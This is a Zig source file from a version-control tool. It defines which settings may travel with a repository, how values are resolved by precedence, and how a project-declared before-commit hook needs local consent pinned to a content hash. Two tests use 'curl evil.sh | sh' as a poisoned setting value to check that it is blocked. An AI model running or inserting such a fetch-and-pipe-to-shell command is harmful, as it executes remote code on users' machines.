Artifact 493f9e91a603a8517dabd53eac0d4fb08dc356a9c3d3e158c75f7dd25f6f40d7:
- File
src/settings.zig
— part of check-in
[7d9dcb2de1]
at
2026-08-29 08:46:25
on branch trunk
— settings editor and autosync pullonly, --changed/--value; grep -i -c -l -v --once; annotate -n -l (zit#164)
The two new settings ride the keyed config block; a configured editor makes commit editor-capable without a terminal. (user: dmestas, size: 32244) [annotate] [blame] [check-ins using]
//! The settings model: which settings exist, where a value may live, and which //! tier wins. //! //! ## The organising idea is HAZARD, not scope (#83) //! //! A setting's blast radius decides how far it is allowed to travel, and that //! one rule generates the whole table: //! //! * **Data** -- `ignore-glob`, `keep-glob`, `manifest`, `binary-glob`. The //! worst a wrong value does is list the wrong files. These may be VERSIONED: //! a tracked `.zit-settings/<name>` file clones with the repository, is //! reviewable in a diff, and travels to everyone working on the project. //! //! * **Executable** -- `pgp-command`. The value is a command line this machine //! RUNS, so a peer that could set it would have remote code execution. It //! never propagates by any mechanism, in any transport. Fossil classifies //! these `sensitive` for exactly this reason, and puts them in no config //! group. //! //! * **Executable, project-owned** -- `before-commit` (#82). The project has a //! legitimate claim to declare its own checks, but cloning must never run //! them. The DECLARATION versions; the PERMISSION TO EXECUTE is local, //! explicit, and content-pinned (see `trust`). Git refuses the first half //! (hooks never clone, hence husky/lefthook); fossil's boundary is an //! accident of transport (a `before-commit` hook crosses a file clone and //! executes, but not an HTTP one). Splitting the two is what makes it safe. //! //! ## Precedence //! //! Highest to lowest, matching fossil's `db_get` (src/db.c) so an operator's //! intuition carries over: //! //! 1. environment -- only where a setting names one (`$ZIT_PGP_COMMAND`), so //! a single invocation can be redirected without editing //! anything durable //! 2. versioned -- `.zit-settings/<name>`, versionable settings only. It //! OVERRIDES both stored tiers: fossil applies //! `db_get_versioned` after reading config, and the project's //! committed answer is meant to win over a stale local one. //! 3. repository -- this repository's config frame //! 4. global -- this operator's settings file, shared by every repository //! 5. default -- the built-in //! //! The rule worth remembering: a value that is SHADOWED must say so. An operator //! editing the tier that is not in effect, twice, is the failure this module //! exists to prevent -- which is why `resolve` returns a `Source` and never a //! bare value. const std = @import("std"); /// Where a resolved value came from. Ordered highest-precedence first, so a /// comparison on the enum is a comparison on precedence. pub const Source = enum { environment, versioned, repository, global, default, /// One word for a listing. Deliberately terse: it sits in a column beside /// the value, and the value is what the operator came to read. pub fn label(self: Source) []const u8 { return switch (self) { .environment => "environment", .versioned => "versioned", .repository => "repository", .global => "global", .default => "default", }; } }; /// What a setting's value IS, which decides how it is parsed and how a bad /// value is reported. pub const Kind = enum { boolean, string }; /// How far a setting is allowed to travel -- the hazard classification above. pub const Tier = enum { /// Data. May be versioned into `.zit-settings/<name>` and thus clone. data, /// Executable. Local or global only; never versioned, never on the wire. executable, /// Executable but project-owned: the declaration versions, execution needs /// local consent recorded against the declaration's content hash. consented, }; pub const Setting = enum { autosync, ignore_glob, keep_glob, manifest, clearsign, pgp_command, before_commit, binary_glob, crlf_glob, /// The wire/CLI spelling. Kept separate from the Zig identifier so the /// hyphenated names fossil uses are exact. /// zit#164: the commit editor, consulted after --editor and before $VISUAL. editor, pub fn name(self: Setting) []const u8 { return switch (self) { .autosync => "autosync", .ignore_glob => "ignore-glob", .keep_glob => "keep-glob", .manifest => "manifest", .clearsign => "clearsign", .pgp_command => "pgp-command", .before_commit => "before-commit", .binary_glob => "binary-glob", .crlf_glob => "crlf-glob", .editor => "editor", }; } pub fn kind(self: Setting) Kind { return switch (self) { .autosync, .clearsign => .boolean, .ignore_glob, .keep_glob, .manifest, .pgp_command, .before_commit, .binary_glob, .crlf_glob, .editor => .string, }; } pub fn tier(self: Setting) Tier { return switch (self) { .autosync, .ignore_glob, .keep_glob, .manifest, .binary_glob, .crlf_glob => .data, .clearsign, .pgp_command, .editor => .executable, .before_commit => .consented, }; } /// Whether a tracked `.zit-settings/<name>` file may supply this value. /// True for data settings, and for `before-commit` -- whose declaration is /// exactly the thing that SHOULD version, since its whole purpose is to /// ship the project's checks with the project. Never for `executable`. pub fn versionable(self: Setting) bool { return switch (self.tier()) { .data, .consented => true, .executable => false, }; } /// The environment variable that overrides this setting, if any. pub fn envVar(self: Setting) ?[]const u8 { return switch (self) { .pgp_command => "ZIT_PGP_COMMAND", else => null, }; } /// The built-in value when no tier supplies one. pub fn default(self: Setting) []const u8 { return switch (self) { // Stored as the deviation (`autosync_off`), so the default reads on. .autosync => "on", .clearsign => "off", // fossil's own default, trailing space included: the `-o ` binds // OUTFILE and the manifest arrives as the positional INFILE. .pgp_command => "gpg --clearsign -o ", .ignore_glob, .keep_glob, .manifest, .before_commit, .binary_glob, .crlf_glob, .editor => "", }; } /// The tracked file a versionable setting reads from. /// Caller owns the returned buffer slice. pub fn versionedPath(self: Setting, buf: []u8) ?[]const u8 { if (!self.versionable()) return null; return std.fmt.bufPrint(buf, "{s}/{s}", .{ versioned_dir, self.name() }) catch null; } /// The fossil-spelled versioned file (#117), consulted BEFORE /// `versionedPath`'s: same versionable gate, so an executable setting can /// no more arrive through fossil's directory than through zit's. pub fn fossilVersionedPath(self: Setting, buf: []u8) ?[]const u8 { if (!self.versionable()) return null; return std.fmt.bufPrint(buf, "{s}/{s}", .{ fossil_versioned_dir, self.name() }) catch null; } pub fn byName(text: []const u8) ?Setting { inline for (comptime std.enums.values(Setting)) |s| { if (std.mem.eql(u8, text, s.name())) return s; } return null; } }; /// The directory holding versionable settings, matching #64's existing choice /// (`ignore.versioned_dir`); restated here so this module states the whole /// model without depending on the ignore matcher. pub const versioned_dir: []const u8 = ".zit-settings"; /// Fossil's spelling of the same directory (#117). A repository cloned from a /// Fossil server carries its versioned settings here, and zit honours them: /// when both directories hold a file for one setting, `.fossil-settings/` /// wins -- the repository's fossil-native policy is the older, wider fact, /// and the `settings` verb's shadow note names whichever file is live so the /// precedence is visible rather than silent. pub const fossil_versioned_dir: []const u8 = ".fossil-settings"; /// Longest a versioned settings file may be. A settings value that needs more /// than this is not a setting. pub const max_versioned_bytes: usize = 64 * 1024; /// A resolved setting: the value in effect, and which tier supplied it. pub const Resolved = struct { value: []const u8, source: Source, }; /// What each tier had to say, gathered by the caller. Null means "this tier has /// no opinion", which is NOT the same as the empty string -- an empty /// `ignore-glob` set locally is a real value that must shadow a global one. /// /// Deliberately a plain struct of optionals rather than a reader interface: /// this module stays sans-IO so precedence is a pure function with a test, and /// the file/frame/environment reads stay with the code that owns those handles. pub const Candidates = struct { environment: ?[]const u8 = null, versioned: ?[]const u8 = null, repository: ?[]const u8 = null, global: ?[]const u8 = null, }; /// THE precedence rule, in one place. Every surface that answers "what is this /// setting" must come through here, so a listing, a commit, and a clean can /// never disagree about which tier won. pub fn resolve(setting: Setting, c: Candidates) Resolved { // An environment override is only consulted where the setting names one, so // a stray variable cannot start driving a setting that never had one. if (setting.envVar() != null) { if (c.environment) |v| return .{ .value = v, .source = .environment }; } // A versioned file cannot supply an executable setting even if one is // somehow present on disk: that is the whole security boundary, so it is // enforced HERE, at the resolver, rather than trusted to every caller // remembering not to read the file. if (setting.versionable()) { if (c.versioned) |v| return .{ .value = v, .source = .versioned }; } if (c.repository) |v| return .{ .value = v, .source = .repository }; if (c.global) |v| return .{ .value = v, .source = .global }; return .{ .value = setting.default(), .source = .default }; } /// Names for the human-readable listing of every setting name, used by the /// unknown-name diagnostic so it never drifts from the enum. pub fn knownNames(buf: []u8) []const u8 { var w: usize = 0; inline for (comptime std.enums.values(Setting), 0..) |s, i| { if (i > 0) { if (w + 2 > buf.len) return buf[0..w]; @memcpy(buf[w..][0..2], ", "); w += 2; } const n = s.name(); if (w + n.len > buf.len) return buf[0..w]; @memcpy(buf[w..][0..n.len], n); w += n.len; } return buf[0..w]; } /// Parse a boolean setting's spelling. fossil accepts `on`/`off` for these and /// so does zit; anything else is refused rather than guessed, because guessing /// "off" for a typo silently disables a check the operator asked for. pub fn parseBool(text: []const u8) ?bool { if (std.mem.eql(u8, text, "on")) return true; if (std.mem.eql(u8, text, "off")) return false; return null; } // --------------------------------------------------------------------------- // The global tier // --------------------------------------------------------------------------- /// The operator-scope settings file: `name value` lines, one per line, `#` /// comments, blank lines ignored. A TEXT file on purpose -- the repository's own /// config is a binary frame because it shares a log with artifacts, but this one /// is read and edited by a person, and a format they can fix with an editor when /// something goes wrong is worth more than a compact one. /// /// Location, first that answers: /// * `$ZIT_CONFIG` -- the file itself, for tests and for an operator who /// wants it somewhere specific /// * `$XDG_CONFIG_HOME/zit/settings` /// * `$HOME/.config/zit/settings` /// /// Absent is not an error anywhere: no file means no global values, which is /// the state of every installation that never set one. pub const global_basename: []const u8 = "settings"; pub const global_subdir: []const u8 = "zit"; pub const GlobalPath = struct { /// The full path, borrowed from the caller's buffer. path: []const u8, /// The directory that must exist before a write. Empty when `$ZIT_CONFIG` /// named a bare filename with no directory part. dir: []const u8, }; /// Resolve where the global settings file lives. Null when no home can be /// determined at all (no `$ZIT_CONFIG`, no `$XDG_CONFIG_HOME`, no `$HOME`) -- /// a legitimate state for a daemon, and one that must degrade to "no global /// tier" rather than failing every settings read. pub fn globalPath(environ: anytype, buf: []u8) ?GlobalPath { if (environ.getPosix("ZIT_CONFIG")) |explicit| { if (explicit.len == 0 or explicit.len > buf.len) return null; @memcpy(buf[0..explicit.len], explicit); const path = buf[0..explicit.len]; const slash = std.mem.lastIndexOfScalar(u8, path, '/'); return .{ .path = path, .dir = if (slash) |i| path[0..i] else "" }; } if (environ.getPosix("XDG_CONFIG_HOME")) |xdg| { if (xdg.len == 0) return null; const dir = std.fmt.bufPrint(buf, "{s}/{s}", .{ xdg, global_subdir }) catch return null; const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null; // The two prints are adjacent in `buf`, so the full path is their span. return .{ .path = buf[0 .. dir.len + path.len], .dir = dir }; } if (environ.getPosix("HOME")) |home| { if (home.len == 0) return null; const dir = std.fmt.bufPrint(buf, "{s}/.config/{s}", .{ home, global_subdir }) catch return null; const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null; return .{ .path = buf[0 .. dir.len + path.len], .dir = dir }; } return null; } /// One `name value` line's parts, or null for a line that carries no setting /// (blank, or a `#` comment). A malformed line is SKIPPED rather than fatal: /// this file is hand-edited, and refusing to read any setting because line 7 /// has a stray character would take the operator's signing command down with /// their typo. pub fn parseGlobalLine(line: []const u8) ?struct { name: []const u8, value: []const u8 } { const trimmed = std.mem.trim(u8, line, " \t\r"); if (trimmed.len == 0 or trimmed[0] == '#') return null; const sp = std.mem.indexOfAny(u8, trimmed, " \t") orelse // A bare name with no value is a legitimate way to spell the empty // string, which is how a glob list is cleared. return .{ .name = trimmed, .value = "" }; const name = trimmed[0..sp]; if (name.len == 0) return null; const value = std.mem.trim(u8, trimmed[sp + 1 ..], " \t"); return .{ .name = name, .value = value }; } /// Look one setting up in already-read global file text. Last occurrence wins, /// matching how every line-oriented config file an operator has met behaves. pub fn globalLookup(text: []const u8, setting: Setting) ?[]const u8 { var found: ?[]const u8 = null; var it = std.mem.splitScalar(u8, text, '\n'); while (it.next()) |line| { const parsed = parseGlobalLine(line) orelse continue; if (std.mem.eql(u8, parsed.name, setting.name())) found = parsed.value; } return found; } /// Rewrite `text` so `setting` reads `value`, returning the new file contents. /// An existing line for the setting is REPLACED IN PLACE so hand-written /// comments and ordering survive an edit; a setting not present is appended. /// Caller owns the result. pub fn globalSet( gpa: std.mem.Allocator, text: []const u8, setting: Setting, value: []const u8, ) error{OutOfMemory}![]u8 { var out: std.ArrayList(u8) = .empty; errdefer out.deinit(gpa); var replaced = false; var it = std.mem.splitScalar(u8, text, '\n'); var first = true; while (it.next()) |line| { // `splitScalar` yields a trailing empty piece for text ending in \n; // dropping it here keeps the file from growing a blank line per edit. if (it.peek() == null and line.len == 0) break; if (!first) try out.append(gpa, '\n'); first = false; const parsed = parseGlobalLine(line); if (parsed != null and std.mem.eql(u8, parsed.?.name, setting.name())) { if (replaced) { // A duplicate earlier line is now dead; drop it rather than // leave a value that no longer takes effect sitting in the file. out.items.len -= @intFromBool(out.items.len > 0); first = out.items.len == 0; continue; } try out.print(gpa, "{s} {s}", .{ setting.name(), value }); replaced = true; continue; } try out.appendSlice(gpa, line); } if (!replaced) { if (!first) try out.append(gpa, '\n'); try out.print(gpa, "{s} {s}", .{ setting.name(), value }); } try out.append(gpa, '\n'); return out.toOwnedSlice(gpa); } // --------------------------------------------------------------------------- const testing = std.testing; /// A stand-in for the process environment, so precedence is testable without /// one. Mirrors the one method `globalPath` needs. const FakeEnv = struct { pairs: []const [2][]const u8, fn getPosix(self: FakeEnv, key: []const u8) ?[]const u8 { for (self.pairs) |p| if (std.mem.eql(u8, p[0], key)) return p[1]; return null; } }; test "settings #83: hazard decides propagation — executable settings are never versionable" { // The model's load-bearing claim, asserted over the WHOLE enum rather than // a sample: if a future setting is added to the executable tier and someone // marks it versionable, that is remote code execution arriving by clone, // and it must fail here rather than in the field. inline for (comptime std.enums.values(Setting)) |s| { switch (s.tier()) { .executable => try testing.expect(!s.versionable()), .data, .consented => try testing.expect(s.versionable()), } } // The two settings whose classification the issue argued explicitly. try testing.expectEqual(Tier.executable, Setting.pgp_command.tier()); try testing.expectEqual(Tier.consented, Setting.before_commit.tier()); try testing.expect(!Setting.pgp_command.versionable()); try testing.expect(Setting.before_commit.versionable()); } test "settings #83: names round-trip and the known-name list is generated, not hand-copied" { inline for (comptime std.enums.values(Setting)) |s| { try testing.expectEqual(s, Setting.byName(s.name()).?); } try testing.expect(Setting.byName("no-such-setting") == null); var buf: [256]u8 = undefined; const known = knownNames(&buf); // Every name appears, so a new setting cannot be added without the // diagnostic listing it. inline for (comptime std.enums.values(Setting)) |s| { try testing.expect(std.mem.indexOf(u8, known, s.name()) != null); } } test "settings #83: Source order IS precedence order" { // `resolve` picks the first tier that answers, so the enum's declaration // order is the policy. Stated as a test because a reorder would silently // change which tier wins. try testing.expect(@intFromEnum(Source.environment) < @intFromEnum(Source.versioned)); try testing.expect(@intFromEnum(Source.versioned) < @intFromEnum(Source.repository)); try testing.expect(@intFromEnum(Source.repository) < @intFromEnum(Source.global)); try testing.expect(@intFromEnum(Source.global) < @intFromEnum(Source.default)); } test "settings #83: global path resolution prefers ZIT_CONFIG, then XDG, then HOME" { var buf: [512]u8 = undefined; { const env = FakeEnv{ .pairs = &.{.{ "ZIT_CONFIG", "/tmp/x/zitrc" }} }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/tmp/x/zitrc", g.path); try testing.expectEqualStrings("/tmp/x", g.dir); } { const env = FakeEnv{ .pairs = &.{ .{ "XDG_CONFIG_HOME", "/xdg" }, .{ "HOME", "/home/u" } } }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/xdg/zit/settings", g.path); try testing.expectEqualStrings("/xdg/zit", g.dir); } { const env = FakeEnv{ .pairs = &.{.{ "HOME", "/home/u" }} }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/home/u/.config/zit/settings", g.path); } { // No home at all is a legitimate state (a daemon), and must degrade to // "no global tier" rather than failing every settings read. const env = FakeEnv{ .pairs = &.{} }; try testing.expect(globalPath(env, &buf) == null); } } test "settings #83: global file parsing — comments, blanks, bare names, last wins" { const text = \\# an operator's notes survive \\clearsign on \\ \\ pgp-command gpg --clearsign -o \\ignore-glob \\clearsign off \\garbage-with-no-such-setting whatever ; // Last occurrence wins, as in every line-oriented config an operator has met. try testing.expectEqualStrings("off", globalLookup(text, .clearsign).?); // Interior spacing is preserved after the first separator, so a command // line with arguments survives verbatim. try testing.expectEqualStrings("gpg --clearsign -o", globalLookup(text, .pgp_command).?); // A bare name is how the empty string is spelled (clearing a glob list). try testing.expectEqualStrings("", globalLookup(text, .ignore_glob).?); // A setting the file never mentions is absent, not empty. try testing.expect(globalLookup(text, .autosync) == null); } test "settings #83: globalSet replaces in place, keeps comments, and appends when absent" { const gpa = testing.allocator; { const before = "# keep me\nclearsign on\nautosync off\n"; const after = try globalSet(gpa, before, .clearsign, "off"); defer gpa.free(after); // The comment and the unrelated setting survive an edit -- the reason // this is a text file rather than a rewritten blob. try testing.expect(std.mem.indexOf(u8, after, "# keep me") != null); try testing.expect(std.mem.indexOf(u8, after, "autosync off") != null); try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?); try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign ")); } { // Absent -> appended, and the file still ends in exactly one newline. const after = try globalSet(gpa, "autosync off\n", .pgp_command, "/usr/bin/signer"); defer gpa.free(after); try testing.expectEqualStrings("/usr/bin/signer", globalLookup(after, .pgp_command).?); try testing.expect(std.mem.endsWith(u8, after, "\n")); try testing.expect(!std.mem.endsWith(u8, after, "\n\n")); } { // Empty file -> just the one line. const after = try globalSet(gpa, "", .autosync, "off"); defer gpa.free(after); try testing.expectEqualStrings("autosync off\n", after); } { // A duplicate line for the same setting collapses: leaving a value that // no longer takes effect in the file is how an operator edits the wrong // one next time. const after = try globalSet(gpa, "clearsign on\nclearsign on\n", .clearsign, "off"); defer gpa.free(after); try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign ")); try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?); } } test "settings #83: booleans refuse a guess" { try testing.expectEqual(true, parseBool("on").?); try testing.expectEqual(false, parseBool("off").?); // "yes"/"true"/"1" are NOT accepted: guessing "off" for a typo silently // disables a check the operator asked for. try testing.expect(parseBool("yes") == null); try testing.expect(parseBool("true") == null); try testing.expect(parseBool("") == null); } test "settings #83: versioned paths live under .zit-settings and only for versionable settings" { var buf: [128]u8 = undefined; try testing.expectEqualStrings(".zit-settings/keep-glob", Setting.keep_glob.versionedPath(&buf).?); try testing.expectEqualStrings(".zit-settings/before-commit", Setting.before_commit.versionedPath(&buf).?); // The whole point: no tracked file can ever supply an executable setting. try testing.expect(Setting.pgp_command.versionedPath(&buf) == null); try testing.expect(Setting.clearsign.versionedPath(&buf) == null); } test "settings #83: resolve implements the documented precedence, and enforces the tier boundary" { // Every tier answering: the highest wins, in order. const all: Candidates = .{ .environment = "env", .versioned = "ver", .repository = "repo", .global = "glob", }; // pgp-command names an environment variable, so the environment wins. try testing.expectEqual(Source.environment, resolve(.pgp_command, all).source); // keep-glob names none, so the environment candidate is ignored entirely // and the versioned file wins -- a stray variable cannot start driving a // setting that never had one. try testing.expectEqual(Source.versioned, resolve(.keep_glob, all).source); try testing.expectEqualStrings("ver", resolve(.keep_glob, all).value); // THE security boundary, asserted at the resolver: a versioned file cannot // supply an executable setting even when one is present on disk. Without // the environment candidate, pgp-command must fall past `versioned` to the // repository tier rather than executing what a clone shipped. const no_env: Candidates = .{ .versioned = "curl evil.sh | sh", .repository = "repo", .global = "glob" }; const r = resolve(.pgp_command, no_env); try testing.expectEqual(Source.repository, r.source); try testing.expectEqualStrings("repo", r.value); // Falling through, one tier at a time. try testing.expectEqual(Source.repository, resolve(.keep_glob, .{ .repository = "repo", .global = "glob" }).source); try testing.expectEqual(Source.global, resolve(.keep_glob, .{ .global = "glob" }).source); try testing.expectEqual(Source.default, resolve(.keep_glob, .{}).source); // Defaults come from the setting, not from the caller. try testing.expectEqualStrings("on", resolve(.autosync, .{}).value); try testing.expectEqualStrings("off", resolve(.clearsign, .{}).value); try testing.expectEqualStrings("gpg --clearsign -o ", resolve(.pgp_command, .{}).value); // An EMPTY local value is a real value and must shadow a global one -- // clearing a glob list locally is exactly this case, and treating "" as // absent would silently reinstate the global list. const cleared = resolve(.ignore_glob, .{ .repository = "", .global = "*.tmp" }); try testing.expectEqual(Source.repository, cleared.source); try testing.expectEqualStrings("", cleared.value); } // --------------------------------------------------------------------------- // #82 — before-commit: a versioned declaration, local consent to execute // --------------------------------------------------------------------------- /// Whether a `before-commit` declaration may be EXECUTED, and why not when it /// may not. Separate from resolving its value, because the two questions have /// different answers: the command is perfectly well-defined while still being /// something this machine has not agreed to run. pub const TrustVerdict = enum { /// No declaration; nothing to run. none, /// The operator authored it here (repository, global, or environment tier), /// so no consent step applies -- consent is what authoring IS. self_authored, /// A versioned declaration whose content hash matches the local record. trusted, /// A versioned declaration with no local trust record at all. untrusted, /// A versioned declaration that WAS trusted and has since changed. Held /// apart from `untrusted` because the remedy and the risk differ: this is /// the case where a pull may have altered a script the operator already /// agreed to run, and the diagnostic should say so. changed, }; /// Lowercase-hex SHA-256 of a declaration -- the identity a trust record pins. /// Hashing the CONTENT rather than recording a boolean is what makes consent /// self-revoking: any edit, from any source, produces a different hash and the /// check refuses again until a human looks at it. pub fn declarationHash(text: []const u8, out: *[64]u8) []const u8 { var digest: [32]u8 = undefined; std.crypto.hash.sha2.Sha256.hash(text, &digest, .{}); const hex = std.fmt.bytesToHex(digest, .lower); @memcpy(out, &hex); return out[0..]; } /// The execution verdict for a resolved `before-commit`. /// /// The whole of #82's security argument is these few lines. Git refuses to let /// hooks travel at all, so projects reach for husky and lefthook to put them /// back; fossil lets them travel and executes them, with a boundary that /// happens to depend on the transport. Splitting DECLARATION from CONSENT gives /// the project its checks and the machine its veto: /// /// * a declaration the operator wrote here runs, because writing it is consent; /// * a declaration that arrived with the repository runs only after this /// checkout says so, once, against that exact content; /// * cloning a hostile repository executes nothing, and neither does pulling /// a poisoned edit into a repository whose check was already trusted. pub fn trustVerdict( declaration: []const u8, source: Source, trusted_hash: []const u8, ) TrustVerdict { if (declaration.len == 0) return .none; // Only a VERSIONED declaration is untrusted by default: the other tiers are // this machine's own state and cannot have been supplied by a peer. if (source != .versioned) return .self_authored; if (trusted_hash.len == 0) return .untrusted; var buf: [64]u8 = undefined; const want = declarationHash(declaration, &buf); return if (std.mem.eql(u8, want, trusted_hash)) .trusted else .changed; } test "settings #82: consent is required for versioned declarations only, and self-revokes on edit" { var buf: [64]u8 = undefined; const decl = "zig fmt --check src && zig build test"; const h = declarationHash(decl, &buf); // No declaration: nothing to decide. try testing.expectEqual(TrustVerdict.none, trustVerdict("", .versioned, "")); // Authored here -- in ANY local tier -- needs no consent step, because // writing the command is the consent. try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .repository, "")); try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .global, "")); try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .environment, "")); // Arrived with the repository: inert until this checkout agrees. try testing.expectEqual(TrustVerdict.untrusted, trustVerdict(decl, .versioned, "")); try testing.expectEqual(TrustVerdict.trusted, trustVerdict(decl, .versioned, h)); // THE POINT: consent is pinned to CONTENT, so a pulled edit revokes it // automatically rather than riding in on a hash nobody re-checked. var buf2: [64]u8 = undefined; const poisoned = "curl evil.sh | sh"; try testing.expectEqual(TrustVerdict.changed, trustVerdict(poisoned, .versioned, h)); // ...and trusting the new content is a different record from the old one. try testing.expect(!std.mem.eql(u8, h, declarationHash(poisoned, &buf2))); }